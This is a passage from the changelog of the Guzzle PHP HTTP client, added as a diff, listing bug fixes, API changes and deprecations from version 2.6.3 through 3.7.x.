+* Added the ability to combine URLs using strict RFC 3986 compliance +* Command objects can now return the validation errors encountered by the command +* Various fixes to cache revalidation (#437 and 29797e5) +* Various fixes to the AsyncPlugin +* Cleaned up build scripts + +## 3.7.4 - 2013-10-02 + +* Bug fix: 0 is now an allowed value in a description parameter that has a default value (#430) +* Bug fix: SchemaFormatter now returns an integer when formatting to a Unix timestamp + (see https://github.com/aws/aws-sdk-php/issues/147) +* Bug fix: Cleaned up and fixed URL dot segment removal to properly resolve internal dots +* Minimum PHP version is now properly specified as 5.3.3 (up from 5.3.2) (#420) +* Updated the bundled cacert.pem (#419) +* OauthPlugin now supports adding authentication to headers or query string (#425) + +## 3.7.3 - 2013-09-08 + +* Added the ability to get the exception associated with a request/command when using `MultiTransferException` and + `CommandTransferException`. +* Setting `additionalParameters` of a response to false is now honored when parsing responses with a service description +* Schemas are only injected into response models when explicitly configured. +* No longer guessing Content-Type based on the path of a request. Content-Type is now only guessed based on the path of + an EntityBody. +* Bug fix: ChunkedIterator can now properly chunk a \Traversable as well as an \Iterator. +* Bug fix: FilterIterator now relies on `\Iterator` instead of `\Traversable`. +* Bug fix: Gracefully handling malformed responses in RequestMediator::writeResponseBody() +* Bug fix: Replaced call to canCache with canCacheRequest in the CallbackCanCacheStrategy of the CachePlugin +* Bug fix: Visiting XML attributes first before visiting XML children when serializing requests +* Bug fix: Properly parsing headers that contain commas contained in quotes +* Bug fix: mimetype guessing based on a filename is now case-insensitive + +## 3.7.2 - 2013-08-02 + +* Bug fix: Properly URL encoding paths when using the PHP-only version of the UriTemplate expander + See https://github.com/guzzle/guzzle/issues/371 +* Bug fix: Cookie domains are now matched correctly according to RFC 6265 + See https://github.com/guzzle/guzzle/issues/377 +* Bug fix: GET parameters are now used when calculating an OAuth signature +* Bug fix: Fixed an issue with cache revalidation where the If-None-Match header was being double quoted +* `Guzzle\Common\AbstractHasDispatcher::dispatch()` now returns the event that was dispatched +* `Guzzle\Http\QueryString::factory()` now guesses the most appropriate query aggregator to used based on the input. + See https://github.com/guzzle/guzzle/issues/379 +* Added a way to add custom domain objects to service description parsing using the `operation.parse_class` event. See + https://github.com/guzzle/guzzle/pull/380 +* cURL multi cleanup and optimizations + +## 3.7.1 - 2013-07-05 + +* Bug fix: Setting default options on a client now works +* Bug fix: Setting options on HEAD requests now works. See #352 +* Bug fix: Moving stream factory before send event to before building the stream. See #353 +* Bug fix: Cookies no longer match on IP addresses per RFC 6265 +* Bug fix: Correctly parsing header parameters that are in `<>` and quotes +* Added `cert` and `ssl_key` as request options +* `Host` header can now diverge from the host part of a URL if the header is set manually +* `Guzzle\Service\Command\LocationVisitor\Request\XmlVisitor` was rewritten to change from using SimpleXML to XMLWriter +* OAuth parameters are only added via the plugin if they aren't already set +* Exceptions are now thrown when a URL cannot be parsed +* Returning `false` if `Guzzle\Http\EntityBody::getContentMd5()` fails +* Not setting a `Content-MD5` on a command if calculating the Content-MD5 fails via the CommandContentMd5Plugin + +## 3.7.0 - 2013-06-10 + +* See UPGRADING.md for more information on how to upgrade. +* Requests now support the ability to specify an array of $options when creating a request to more easily modify a + request. You can pass a 'request.options' configuration setting to a client to apply default request options to + every request created by a client (e.g. default query string variables, headers, curl options, etc.). +* Added a static facade class that allows you to use Guzzle with static methods and mount the class to `\Guzzle`. + See `Guzzle\Http\StaticClient::mount`. +* Added `command.request_options` to `Guzzle\Service\Command\AbstractCommand` to pass request options to requests + created by a command (e.g. custom headers, query string variables, timeout settings, etc.). +* Stream size in `Guzzle\Stream\PhpStreamRequestFactory` will now be set if Content-Length is returned in the + headers of a response +* Added `Guzzle\Common\Collection::setPath($path, $value)` to set a value into an array using a nested key + (e.g. `$collection->setPath('foo/baz/bar', 'test'); echo $collection['foo']['bar']['bar'];`) +* ServiceBuilders now support storing and retrieving arbitrary data +* CachePlugin can now purge all resources for a given URI +* CachePlugin can automatically purge matching cached items when a non-idempotent request is sent to a resource +* CachePlugin now uses the Vary header to determine if a resource is a cache hit +* `Guzzle\Http\Message\Response` now implements `\Serializable` +* Added `Guzzle\Cache\CacheAdapterFactory::fromCache()` to more easily create cache adapters +* `Guzzle\Service\ClientInterface::execute()` now accepts an array, single command, or Traversable +* Fixed a bug in `Guzzle\Http\Message\Header\Link::addLink()` +* Better handling of calculating the size of a stream in `Guzzle\Stream\Stream` using fstat() and caching the size +* `Guzzle\Common\Exception\ExceptionCollection` now creates a more readable exception message +* Fixing BC break: Added back the MonologLogAdapter implementation rather than extending from PsrLog so that older + Symfony users can still use the old version of Monolog. +* Fixing BC break: Added the implementation back in for `Guzzle\Http\Message\AbstractMessage::getTokenizedHeader()`. + Now triggering an E_USER_DEPRECATED warning when used. Use `$message->getHeader()->parseParams()`. +* Several performance improvements to `Guzzle\Common\Collection` +* Added an `$options` argument to the end of the following methods of `Guzzle\Http\ClientInterface`: + createRequest, head, delete, put, patch, post, options, prepareRequest +* Added an `$options` argument to the end of `Guzzle\Http\Message\Request\RequestFactoryInterface::createRequest()` +* Added an `applyOptions()` method to `Guzzle\Http\Message\Request\RequestFactoryInterface` +* Changed `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $body = null)` to + `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $options = array())`. You can still pass in a + resource, string, or EntityBody into the $options parameter to specify the download location of the response. +* Changed `Guzzle\Common\Collection::__construct($data)` to no longer accepts a null value for `$data` but a + default `array()` +* Added `Guzzle\Stream\StreamInterface::isRepeatable` +* Removed `Guzzle\Http\ClientInterface::setDefaultHeaders(). Use + $client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. or + $client->getConfig()->setPath('request.options/headers', array('header_name' => 'value'))`. +* Removed `Guzzle\Http\ClientInterface::getDefaultHeaders(). Use $client->getConfig()->getPath('request.options/headers')`. +* Removed `Guzzle\Http\ClientInterface::expandTemplate()` +* Removed `Guzzle\Http\ClientInterface::setRequestFactory()` +* Removed `Guzzle\Http\ClientInterface::getCurlMulti()` +* Removed `Guzzle\Http\Message\RequestInterface::canCache` +* Removed `Guzzle\Http\Message\RequestInterface::setIsRedirect` +* Removed `Guzzle\Http\Message\RequestInterface::isRedirect` +* Made `Guzzle\Http\Client::expandTemplate` and `getUriTemplate` protected methods. +* You can now enable E_USER_DEPRECATED warnings to see if you are using a deprecated method by setting + `Guzzle\Common\Version::$emitWarnings` to true. +* Marked `Guzzle\Http\Message\Request::isResponseBodyRepeatable()` as deprecated. Use + `$request->getResponseBody()->isRepeatable()` instead. +* Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use + `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. +* Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use + `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. +* Marked `Guzzle\Http\Message\Request::setIsRedirect()` as deprecated. Use the HistoryPlugin instead. +* Marked `Guzzle\Http\Message\Request::isRedirect()` as deprecated. Use the HistoryPlugin instead. +* Marked `Guzzle\Cache\CacheAdapterFactory::factory()` as deprecated +* Marked 'command.headers', 'command.response_body' and 'command.on_complete' as deprecated for AbstractCommand. + These will work through Guzzle 4.0 +* Marked 'request.params' for `Guzzle\Http\Client` as deprecated. Use [request.options][params]. +* Marked `Guzzle\Service\Client::enableMagicMethods()` as deprecated. Magic methods can no longer be disabled on a Guzzle\Service\Client. +* Marked `Guzzle\Service\Client::getDefaultHeaders()` as deprecated. Use $client->getConfig()->getPath('request.options/headers')`. +* Marked `Guzzle\Service\Client::setDefaultHeaders()` as deprecated. Use $client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. +* Marked `Guzzle\Parser\Url\UrlParser` as deprecated. Just use PHP's `parse_url()` and percent encode your UTF-8. +* Marked `Guzzle\Common\Collection::inject()` as deprecated. +* Marked `Guzzle\Plugin\CurlAuth\CurlAuthPlugin` as deprecated. Use `$client->getConfig()->setPath('request.options/auth', array('user', 'pass', 'Basic|Digest');` +* CacheKeyProviderInterface and DefaultCacheKeyProvider are no longer used. All of this logic is handled in a + CacheStorageInterface. These two objects and interface will be removed in a future version. +* Always setting X-cache headers on cached responses +* Default cache TTLs are now handled by the CacheStorageInterface of a CachePlugin +* `CacheStorageInterface::cache($key, Response $response, $ttl = null)` has changed to `cache(RequestInterface + $request, Response $response);` +* `CacheStorageInterface::fetch($key)` has changed to `fetch(RequestInterface $request);` +* `CacheStorageInterface::delete($key)` has changed to `delete(RequestInterface $request);` +* Added `CacheStorageInterface::purge($url)` +* `DefaultRevalidation::__construct(CacheKeyProviderInterface $cacheKey, CacheStorageInterface $cache, CachePlugin + $plugin)` has changed to `DefaultRevalidation::__construct(CacheStorageInterface $cache, + CanCacheStrategyInterface $canCache = null)` +* Added `RevalidationInterface::shouldRevalidate(RequestInterface $request, Response $response)` + +## 3.6.0 - 2013-05-29 + +* ServiceDescription now implements ToArrayInterface +* Added command.hidden_params to blacklist certain headers from being treated as additionalParameters +* Guzzle can now correctly parse incomplete URLs +* Mixed casing of headers are now forced to be a single consistent casing across all values for that header. +* Messages internally use a HeaderCollection object to delegate handling case-insensitive header resolution +* Removed the whole changedHeader() function system of messages because all header changes now go through addHeader(). +* Specific header implementations can be created for complex headers. When a message creates a header, it uses a + HeaderFactory which can map specific headers to specific header classes. There is now a Link header and + CacheControl header implementation. +* Removed from interface: Guzzle\Http\ClientInterface::setUriTemplate +* Removed from interface: Guzzle\Http\ClientInterface::setCurlMulti() +* Removed Guzzle\Http\Message\Request::receivedRequestHeader() and implemented this functionality in + Guzzle\Http\Curl\RequestMediator +* Removed the optional $asString parameter from MessageInterface::getHeader(). Just cast the header to a string. +* Removed the optional $tryChunkedTransfer option from Guzzle\Http\Message\EntityEnclosingRequestInterface +* Removed the $asObjects argument from Guzzle\Http\Message\MessageInterface::getHeaders() +* Removed Guzzle\Parser\ParserRegister::get(). Use getParser() +* Removed Guzzle\Parser\ParserRegister::set(). Use registerParser(). +* All response header helper functions return a string rather than mixing Header objects and strings inconsistently +* Removed cURL blacklist support. This is no longer necessary now that Expect, Accept, etc. are managed by Guzzle + directly via interfaces +* Removed the injecting of a request object onto a response object. The methods to get and set a request still exist + but are a no-op until removed. +* Most classes that used to require a `Guzzle\Service\Command\CommandInterface` typehint now request a + `Guzzle\Service\Command\ArrayCommandInterface`. +* Added `Guzzle\Http\Message\RequestInterface::startResponse()` to the RequestInterface to handle injecting a response + on a request while the request is still being transferred +* The ability to case-insensitively search for header values +* Guzzle\Http\Message\Header::hasExactHeader +* Guzzle\Http\Message\Header::raw. Use getAll() +* Deprecated cache control specific methods on Guzzle\Http\Message\AbstractMessage. Use the CacheControl header object + instead. +* `Guzzle\Service\Command\CommandInterface` now extends from ToArrayInterface and ArrayAccess +* Added the ability to cast Model objects to a string to view debug information. + +## 3.5.0 - 2013-05-13 + +* Bug: Fixed a regression so that request responses are parsed only once per oncomplete event rather than multiple times +* Bug: Better cleanup of one-time events across the board (when an event is meant to fire once, it will now remove + itself from the EventDispatcher) +* Bug: `Guzzle\Log\MessageFormatter` now properly writes "total_time" and "connect_time" values +* Bug: Cloning an EntityEnclosingRequest now clones the EntityBody too +* Bug: Fixed an undefined index error when parsing nested JSON responses with a sentAs parameter that reference a + non-existent key +* Bug: All __call() method arguments are now required (helps with mocking frameworks) +* Deprecating Response::getRequest() and now using a shallow clone of a request object to remove a circular reference + to help with refcount based garbage collection of resources created by sending a request +* Deprecating ZF1 cache and log adapters. These will be removed in the next major version. +* Deprecating `Response::getPreviousResponse()` (method signature still exists, but it's deprecated). Use the + HistoryPlugin for a history. +* Added a `responseBody` alias for the `response_body` location +* Refactored internals to no longer rely on Response::getRequest() +* HistoryPlugin can now be cast to a string +* HistoryPlugin now logs transactions rather than requests and responses to more accurately keep track of the requests + and responses that are sent over the wire +* Added `getEffectiveUrl()` and `getRedirectCount()` to Response objects + +## 3.4.3 - 2013-04-30 + +* Bug fix: Fixing bug introduced in 3.4.2 where redirect responses are duplicated on the final redirected response +* Added a check to re-extract the temp cacert bundle from the phar before sending each request + +## 3.4.2 - 2013-04-29 + +* Bug fix: Stream objects now work correctly with "a" and "a+" modes +* Bug fix: Removing `Transfer-Encoding: chunked` header when a Content-Length is present +* Bug fix: AsyncPlugin no longer forces HEAD requests +* Bug fix: DateTime timezones are now properly handled when using the service description schema formatter +* Bug fix: CachePlugin now properly handles stale-if-error directives when a request to the origin server fails +* Setting a response on a request will write to the custom request body from the response body if one is specified +* LogPlugin now writes to php://output when STDERR is undefined +* Added the ability to set multiple POST files for the same key in a single call +* application/x-www-form-urlencoded POSTs now use the utf-8 charset by default +* Added the ability to queue CurlExceptions to the MockPlugin +* Cleaned up how manual responses are queued on requests (removed "queued_response" and now using request.before_send) +* Configuration loading now allows remote files + +## 3.4.1 - 2013-04-16 + +* Large refactoring to how CurlMulti handles work. There is now a proxy that sits in front of a pool of CurlMulti + handles. This greatly simplifies the implementation, fixes a couple bugs, and provides a small performance boost. +* Exceptions are now properly grouped when sending requests in parallel +* Redirects are now properly aggregated when a multi transaction fails +* Redirects now set the response on the original object even in the event of a failure +* Bug fix: Model names are now properly set even when using $refs +* Added support for PHP 5.5's CurlFile to prevent warnings with the deprecated @ syntax +* Added support for oauth_callback in OAuth signatures +* Added support for oauth_verifier in OAuth signatures +* Added support to attempt to retrieve a command first literally, then ucfirst, the with inflection + +## 3.4.0 - 2013-04-11 + +* Bug fix: URLs are now resolved correctly based on http://tools.ietf.org/html/rfc3986#section-5.2. #289 +* Bug fix: Absolute URLs with a path in a service description will now properly override the base URL. #289 +* Bug fix: Parsing a query string with a single PHP array value will now result in an array. #263 +* Bug fix: Better normalization of the User-Agent header to prevent duplicate headers. #264. +* Bug fix: Added `number` type to service descriptions. +* Bug fix: empty parameters are removed from an OAuth signature +* Bug fix: Revalidating a cache entry prefers the Last-Modified over the Date header +* Bug fix: Fixed "array to string" error when validating a union of types in a service description +* Bug fix: Removed code that attempted to determine the size of a stream when data is written to the stream +* Bug fix: Not including an `oauth_token` if the value is null in the OauthPlugin. +* Bug fix: Now correctly aggregating successful requests and failed requests in CurlMulti when a redirect occurs. +* The new default CURLOPT_TIMEOUT setting has been increased to 150 seconds so that Guzzle works on poor connections. +* Added a feature to EntityEnclosingRequest::setBody() that will automatically set the Content-Type of the request if + the Content-Type can be determined based on the entity body or the path of the request. +* Added the ability to overwrite configuration settings in a client when grabbing a throwaway client from a builder. +* Added support for a PSR-3 LogAdapter. +* Added a `command.after_prepare` event +* Added `oauth_callback` parameter to the OauthPlugin +* Added the ability to create a custom stream class when using a stream factory +* Added a CachingEntityBody decorator +* Added support for `additionalParameters` in service descriptions to define how custom parameters are serialized. +* The bundled SSL certificate is now provided in the phar file and extracted when running Guzzle from a phar. +* You can now send any EntityEnclosingRequest with POST fields or POST files and cURL will handle creating bodies +* POST requests using a custom entity body are now treated exactly like PUT requests but with a custom cURL method. This + means that the redirect behavior of POST requests with custom bodies will not be the same as POST requests that use + POST fields or files (the latter is only used when emulating a form POST in the browser). +* Lots of cleanup to CurlHandle::factory and RequestFactory::createRequest + +## 3.3.1 - 2013-03-10 + +* Added the ability to create PHP streaming responses from HTTP requests +* Bug fix: Running any filters when parsing response headers with service descriptions +* Bug fix: OauthPlugin fixes to allow for multi-dimensional array signing, and sorting parameters before signing +* Bug fix: Removed the adding of default empty arrays and false Booleans to responses in order to be consistent across + response location visitors. +* Bug fix: Removed the possibility of creating configuration files with circular dependencies +* RequestFactory::create() now uses the key of a POST file when setting the POST file name +* Added xmlAllowEmpty to serialize an XML body even if no XML specific parameters are set + +## 3.3.0 - 2013-03-03 + +* A large number of performance optimizations have been made +* Bug fix: Added 'wb' as a valid write mode for streams +* Bug fix: `Guzzle\Http\Message\Response::json()` now allows scalar values to be returned +* Bug fix: Fixed bug in `Guzzle\Http\Message\Response` where wrapping quotes were stripped from `getEtag()` +* BC: Removed `Guzzle\Http\Utils` class +* BC: Setting a service description on a client will no longer modify the client's command factories. +* BC: Emitting IO events from a RequestMediator is now a parameter that must be set in a request's curl options using + the 'emit_io' key. This was previously set under a request's parameters using 'curl.emit_io' +* BC: `Guzzle\Stream\Stream::getWrapper()` and `Guzzle\Stream\Stream::getSteamType()` are no longer converted to + lowercase +* Operation parameter objects are now lazy loaded internally +* Added ErrorResponsePlugin that can throw errors for responses defined in service description operations' errorResponses +* Added support for instantiating responseType=class responseClass classes. Classes must implement + `Guzzle\Service\Command\ResponseClassInterface` +* Added support for additionalProperties for top-level parameters in responseType=model responseClasses. These + additional properties also support locations and can be used to parse JSON responses where the outermost part of the + JSON is an array +* Added support for nested renaming of JSON models (rename sentAs to name) +* CachePlugin + * Added support for stale-if-error so that the CachePlugin can now serve stale content from the cache on error + * Debug headers can now added to cached response in the CachePlugin + +## 3.2.0 - 2013-02-14 + +* CurlMulti is no longer reused globally. A new multi object is created per-client. This helps to isolate clients. +* URLs with no path no longer contain a "/" by default +* Guzzle\Http\QueryString does no longer manages the leading "?". This is now handled in Guzzle\Http\Url. +* BadResponseException no longer includes the full request and response message +* Adding setData() to Guzzle\Service\Description\ServiceDescriptionInterface +* Adding getResponseBody() to Guzzle\Http\Message\RequestInterface +* Various updates to classes to use ServiceDescriptionInterface type hints rather than ServiceDescription +* Header values can now be normalized into distinct values when multiple headers are combined with a comma separated list +* xmlEncoding can now be customized for the XML declaration of a XML service description operation +* Guzzle\Http\QueryString now uses Guzzle\Http\QueryAggregator\QueryAggregatorInterface objects to add custom value + aggregation and no longer uses callbacks +* The URL encoding implementation of Guzzle\Http\QueryString can now be customized +* Bug fix: Filters were not always invoked for array service description parameters +* Bug fix: Redirects now use a target response body rather than a temporary response body +* Bug fix: The default exponential backoff BackoffPlugin was not giving when the request threshold was exceeded +* Bug fix: Guzzle now takes the first found value when grabbing Cache-Control directives + +## 3.1.2 - 2013-01-27 + +* Refactored how operation responses are parsed. Visitors now include a before() method responsible for parsing the + response body. For example, the XmlVisitor now parses the XML response into an array in the before() method. +* Fixed an issue where cURL would not automatically decompress responses when the Accept-Encoding header was sent +* CURLOPT_SSL_VERIFYHOST is never set to 1 because it is deprecated (see 5e0ff2ef20f839e19d1eeb298f90ba3598784444) +* Fixed a bug where redirect responses were not chained correctly using getPreviousResponse() +* Setting default headers on a client after setting the user-agent will not erase the user-agent setting + +## 3.1.1 - 2013-01-20 + +* Adding wildcard support to Guzzle\Common\Collection::getPath() +* Adding alias support to ServiceBuilder configs +* Adding Guzzle\Service\Resource\CompositeResourceIteratorFactory and cleaning up factory interface + +## 3.1.0 - 2013-01-12 + +* BC: CurlException now extends from RequestException rather than BadResponseException +* BC: Renamed Guzzle\Plugin\Cache\CanCacheStrategyInterface::canCache() to canCacheRequest() and added CanCacheResponse() +* Added getData to ServiceDescriptionInterface +* Added context array to RequestInterface::setState() +* Bug: Removing hard dependency on the BackoffPlugin from Guzzle\Http +* Bug: Adding required content-type when JSON request visitor adds JSON to a command +* Bug: Fixing the serialization of a service description with custom data +* Made it easier to deal with exceptions thrown when transferring commands or requests in parallel by providing + an array of successful and failed responses +* Moved getPath from Guzzle\Service\Resource\Model to Guzzle\Common\Collection +* Added Guzzle\Http\IoEmittingEntityBody +* Moved command filtration from validators to location visitors +* Added `extends` attributes to service description parameters +* Added getModels to ServiceDescriptionInterface + +## 3.0.7 - 2012-12-19 + +* Fixing phar detection when forcing a cacert to system if null or true +* Allowing filename to be passed to `Guzzle\Http\Message\Request::setResponseBody()` +* Cleaning up `Guzzle\Common\Collection::inject` method +* Adding a response_body location to service descriptions + +## 3.0.6 - 2012-12-09 + +* CurlMulti performance improvements +* Adding setErrorResponses() to Operation +* composer.json tweaks + +## 3.0.5 - 2012-11-18 + +* Bug: Fixing an infinite recursion bug caused from revalidating with the CachePlugin +* Bug: Response body can now be a string containing "0" +* Bug: Using Guzzle inside of a phar uses system by default but now allows for a custom cacert +* Bug: QueryString::fromString now properly parses query string parameters that contain equal signs +* Added support for XML attributes in service description responses +* DefaultRequestSerializer now supports array URI parameter values for URI template expansion +* Added better mimetype guessing to requests and post files + +## 3.0.4 - 2012-11-11 + +* Bug: Fixed a bug when adding multiple cookies to a request to use the correct glue value +* Bug: Cookies can now be added that have a name, domain, or value set to "0" +* Bug: Using the system cacert bundle when using the Phar +* Added json and xml methods to Response to make it easier to parse JSON and XML response data into data structures +* Enhanced cookie jar de-duplication +* Added the ability to enable strict cookie jars that throw exceptions when invalid cookies are added +* Added setStream to StreamInterface to actually make it possible to implement custom rewind behavior for entity bodies +* Added the ability to create any sort of hash for a stream rather than just an MD5 hash + +## 3.0.3 - 2012-11-04 + +* Implementing redirects in PHP rather than cURL +* Added PECL URI template extension and using as default parser if available +* Bug: Fixed Content-Length parsing of Response factory +* Adding rewind() method to entity bodies and streams. Allows for custom rewinding of non-repeatable streams. +* Adding ToArrayInterface throughout library +* Fixing OauthPlugin to create unique nonce values per request + +## 3.0.2 - 2012-10-25 + +* Magic methods are enabled by default on clients +* Magic methods return the result of a command +* Service clients no longer require a base_url option in the factory +* Bug: Fixed an issue with URI templates where null template variables were being expanded + +## 3.0.1 - 2012-10-22 + +* Models can now be used like regular collection objects by calling filter, map, etc. +* Models no longer require a Parameter structure or initial data in the constructor +* Added a custom AppendIterator to get around a PHP bug with the `\AppendIterator` + +## 3.0.0 - 2012-10-15 + +* Rewrote service description format to be based on Swagger + * Now based on JSON schema + * Added nested input structures and nested response models + * Support for JSON and XML input and output models + * Renamed `commands` to `operations` + * Removed dot class notation + * Removed custom types +* Broke the project into smaller top-level namespaces to be more component friendly +* Removed support for XML configs and descriptions. Use arrays or JSON files. +* Removed the Validation component and Inspector +* Moved all cookie code to Guzzle\Plugin\Cookie +* Magic methods on a Guzzle\Service\Client now return the command un-executed. +* Calling getResult() or getResponse() on a command will lazily execute the command if needed. +* Now shipping with cURL's CA certs and using it by default +* Added previousResponse() method to response objects +* No longer sending Accept and Accept-Encoding headers on every request +* Only sending an Expect header by default when a payload is greater than 1MB +* Added/moved client options: + * curl.blacklist to curl.option.blacklist + * Added ssl.certificate_authority +* Added a Guzzle\Iterator component +* Moved plugins from Guzzle\Http\Plugin to Guzzle\Plugin +* Added a more robust backoff retry strategy (replaced the ExponentialBackoffPlugin) +* Added a more robust caching plugin +* Added setBody to response objects +* Updating LogPlugin to use a more flexible MessageFormatter +* Added a completely revamped build process +* Cleaning up Collection class and removing default values from the get method +* Fixed ZF2 cache adapters + +## 2.8.8 - 2012-10-15 + +* Bug: Fixed a cookie issue that caused dot prefixed domains to not match where popular browsers did + +## 2.8.7 - 2012-09-30 + +* Bug: Fixed config file aliases for JSON includes +* Bug: Fixed cookie bug on a request object by using CookieParser to parse cookies on requests +* Bug: Removing the path to a file when sending a Content-Disposition header on a POST upload +* Bug: Hardening request and response parsing to account for missing parts +* Bug: Fixed PEAR packaging +* Bug: Fixed Request::getInfo +* Bug: Fixed cases where CURLM_CALL_MULTI_PERFORM return codes were causing curl transactions to fail +* Adding the ability for the namespace Iterator factory to look in multiple directories +* Added more getters/setters/removers from service descriptions +* Added the ability to remove POST fields from OAuth signatures +* OAuth plugin now supports 2-legged OAuth + +## 2.8.6 - 2012-09-05 + +* Added the ability to modify and build service descriptions +* Added the use of visitors to apply parameters to locations in service descriptions using the dynamic command +* Added a `json` parameter location +* Now allowing dot notation for classes in the CacheAdapterFactory +* Using the union of two arrays rather than an array_merge when extending service builder services and service params +* Ensuring that a service is a string before doing strpos() checks on it when substituting services for references + in service builder config files. +* Services defined in two different config files that include one another will by default replace the previously + defined service, but you can now create services that extend themselves and merge their settings over the previous +* The JsonLoader now supports aliasing filenames with different filenames. This allows you to alias something like + '_default' with a default JSON configuration file. + +## 2.8.5 - 2012-08-29 + +* Bug: Suppressed empty arrays from URI templates +* Bug: Added the missing $options argument from ServiceDescription::factory to enable caching +* Added support for HTTP responses that do not contain a reason phrase in the start-line +* AbstractCommand commands are now invokable +* Added a way to get the data used when signing an Oauth request before a request is sent + +## 2.8.4 - 2012-08-15 + +* Bug: Custom delay time calculations are no longer ignored in the ExponentialBackoffPlugin +* Added the ability to transfer entity bodies as a string rather than streamed. This gets around curl error 65. Set `body_as_string` in a request's curl options to enable. +* Added a StreamInterface, EntityBodyInterface, and added ftell() to Guzzle\Common\Stream +* Added an AbstractEntityBodyDecorator and a ReadLimitEntityBody decorator to transfer only a subset of a decorated stream +* Stream and EntityBody objects will now return the file position to the previous position after a read required operation (e.g. getContentMd5()) +* Added additional response status codes +* Removed SSL information from the default User-Agent header +* DELETE requests can now send an entity body +* Added an EventDispatcher to the ExponentialBackoffPlugin and added an ExponentialBackoffLogger to log backoff retries +* Added the ability of the MockPlugin to consume mocked request bodies +* LogPlugin now exposes request and response objects in the extras array + +## 2.8.3 - 2012-07-30 + +* Bug: Fixed a case where empty POST requests were sent as GET requests +* Bug: Fixed a bug in ExponentialBackoffPlugin that caused fatal errors when retrying an EntityEnclosingRequest that does not have a body +* Bug: Setting the response body of a request to null after completing a request, not when setting the state of a request to new +* Added multiple inheritance to service description commands +* Added an ApiCommandInterface and added `getParamNames()` and `hasParam()` +* Removed the default 2mb size cutoff from the Md5ValidatorPlugin so that it now defaults to validating everything +* Changed CurlMulti::perform to pass a smaller timeout to CurlMulti::executeHandles + +## 2.8.2 - 2012-07-24 + +* Bug: Query string values set to 0 are no longer dropped from the query string +* Bug: A Collection object is no longer created each time a call is made to `Guzzle\Service\Command\AbstractCommand::getRequestHeaders()` +* Bug: `+` is now treated as an encoded space when parsing query strings +* QueryString and Collection performance improvements +* Allowing dot notation for class paths in filters attribute of a service descriptions + +## 2.8.1 - 2012-07-16 + +* Loosening Event Dispatcher dependency +* POST redirects can now be customized using CURLOPT_POSTREDIR + +## 2.8.0 - 2012-07-15 + +* BC: Guzzle\Http\Query + * Query strings with empty variables will always show an equal sign unless the variable is set to QueryString::BLANK (e.g. ?acl= vs ?acl) + * Changed isEncodingValues() and isEncodingFields() to isUrlEncoding() + * Changed setEncodeValues(bool) and setEncodeFields(bool) to useUrlEncoding(bool) + * Changed the aggregation functions of QueryString to be static methods + * Can now use fromString() with querystrings that have a leading ? +* cURL configuration values can be specified in service descriptions using `curl.` prefixed parameters +* Content-Length is set to 0 before emitting the request.before_send event when sending an empty request body +* Cookies are no longer URL decoded by default +* Bug: URI template variables set to null are no longer expanded + +## 2.7.2 - 2012-07-02 + +* BC: Moving things to get ready for subtree splits. Moving Inflection into Common. Moving Guzzle\Http\Parser to Guzzle\Parser. +* BC: Removing Guzzle\Common\Batch\Batch::count() and replacing it with isEmpty() +* CachePlugin now allows for a custom request parameter function to check if a request can be cached +* Bug fix: CachePlugin now only caches GET and HEAD requests by default +* Bug fix: Using header glue when transferring headers over the wire +* Allowing deeply nested arrays for composite variables in URI templates +* Batch divisors can now return iterators or arrays + +## 2.7.1 - 2012-06-26 + +* Minor patch to update version number in UA string +* Updating build process + +## 2.7.0 - 2012-06-25 + +* BC: Inflection classes moved to Guzzle\Inflection. No longer static methods. Can now inject custom inflectors into classes. +* BC: Removed magic setX methods from commands +* BC: Magic methods mapped to service description commands are now inflected in the command factory rather than the client __call() method +* Verbose cURL options are no longer enabled by default. Set curl.debug to true on a client to enable. +* Bug: Now allowing colons in a response start-line (e.g. HTTP/1.1 503 Service Unavailable: Back-end server is at capacity) +* Guzzle\Service\Resource\ResourceIteratorApplyBatched now internally uses the Guzzle\Common\Batch namespace +* Added Guzzle\Service\Plugin namespace and a PluginCollectionPlugin +* Added the ability to set POST fields and files in a service description +* Guzzle\Http\EntityBody::factory() now accepts objects with a __toString() method +* Adding a command.before_prepare event to clients +* Added BatchClosureTransfer and BatchClosureDivisor +* BatchTransferException now includes references to the batch divisor and transfer strategies +* Fixed some tests so that they pass more reliably +* Added Guzzle\Common\Log\ArrayLogAdapter + +## 2.6.6 - 2012-06-10 + +* BC: Removing Guzzle\Http\Plugin\BatchQueuePlugin +* BC: Removing Guzzle\Service\Command\CommandSet +* Adding generic batching system (replaces the batch queue plugin and command set) +* Updating ZF cache and log adapters and now using ZF's composer repository +* Bug: Setting the name of each ApiParam when creating through an ApiCommand +* Adding result_type, result_doc, deprecated, and doc_url to service descriptions +* Bug: Changed the default cookie header casing back to 'Cookie' + +## 2.6.5 - 2012-06-03 + +* BC: Renaming Guzzle\Http\Message\RequestInterface::getResourceUri() to getResource() +* BC: Removing unused AUTH_BASIC and AUTH_DIGEST constants from +* BC: Guzzle\Http\Cookie is now used to manage Set-Cookie data, not Cookie data +* BC: Renaming methods in the CookieJarInterface +* Moving almost all cookie logic out of the CookiePlugin and into the Cookie or CookieJar implementations +* Making the default glue for HTTP headers ';' instead of ',' +* Adding a removeValue to Guzzle\Http\Message\Header +* Adding getCookies() to request interface. +* Making it easier to add event subscribers to HasDispatcherInterface classes. Can now directly call addSubscriber() + +## 2.6.4 - 2012-05-30 + +* BC: Cleaning up how POST files are stored in EntityEnclosingRequest objects. Adding PostFile class. +* BC: Moving ApiCommand specific functionality from the Inspector and on to the ApiCommand +* Bug: Fixing magic method command calls on clients +* Bug: Email constraint only validates strings +* Bug: Aggregate POST fields when POST files are present in curl handle +* Bug: Fixing default User-Agent header +* Bug: Only appending or prepending parameters in commands if they are specified +* Bug: Not requiring response reason phrases or status codes to match a predefined list of codes +* Allowing the use of dot notation for class namespaces when using instance_of constraint +* Added any_match validation constraint +* Added an AsyncPlugin +* Passing request object to the calculateWait method of the ExponentialBackoffPlugin +* Allowing the result of a command object to be changed +* Parsing location and type sub values when instantiating a service description rather than over and over at runtime + +## 2.6.3 - 2012-05-23 + +* [BC] Guzzle\Common\FromConfigInterface no longer requires any config options. +* [BC] Refactoring how POST files are stored on an EntityEnclosingRequest. They are now separate from POST fields. +* You can now use an array of data when creating PUT request bodies in the request factory. +* Removing 